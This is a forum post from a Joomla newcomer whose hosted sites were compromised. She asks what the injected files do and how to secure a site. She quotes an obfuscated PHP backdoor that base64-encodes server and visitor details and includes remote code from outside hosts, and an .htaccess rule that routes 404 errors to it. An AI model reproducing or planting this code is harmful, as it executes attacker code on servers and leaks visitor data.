I am a total newbie with Joomla. I set up a site for a high school music program which was not really public yet. The middle school wanted one too - so I was working on that but hadn't touched it in a couple of weeks. I also had one Joomla site installed for practice. I had not touched any for at least a few days while working on a phpbb forum for the high school site. All three have files that don't belong. Things were changed or added on 12-29-05 - within a few minutes of each other during a time I was not near the computer.
I have a shared hosting site. I am relatively new to php. I have no clue as to what these files do since I do not know what the code means. I may very well have not changed permissions on files or directories back to whatever they should be when I changed them to edit them. So I imagine this is my fault - or lack of experience.
So a couple of questions - one is there are good FAQs somewhere on how to be sure you have the site secured properly after you have finished setting things up. Two - what do these files do - just take down your site, or something more malicious.
Here are some of the files added - I will include code for a few - but it is greek to me:
Quote:
administrator/backups/finfo.php
error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>
Quote:
administrator/backups/htaccess 12-29-05 16:21
Options -MultiViews
ErrorDocument 404 //elhsmusic/administrator/backups/finfo.php
other files:
test.php
contacts.php
guest.php
package.php
links.php
create.php
Thanks for any info. I apologize if this was addressed elsewhere - but I am not having a good week with my health - so the timing was bad. I have tried looking around - but I am fried. Sorry.
Tech support from my web host emailed and said they could do a restore dating back to the 26th. So it can be fixed by them - but any info to prevent this again would help.
I love Joomla so far - so I guess this is good I am learning about security before the two sites "go live."
Feathered Wonders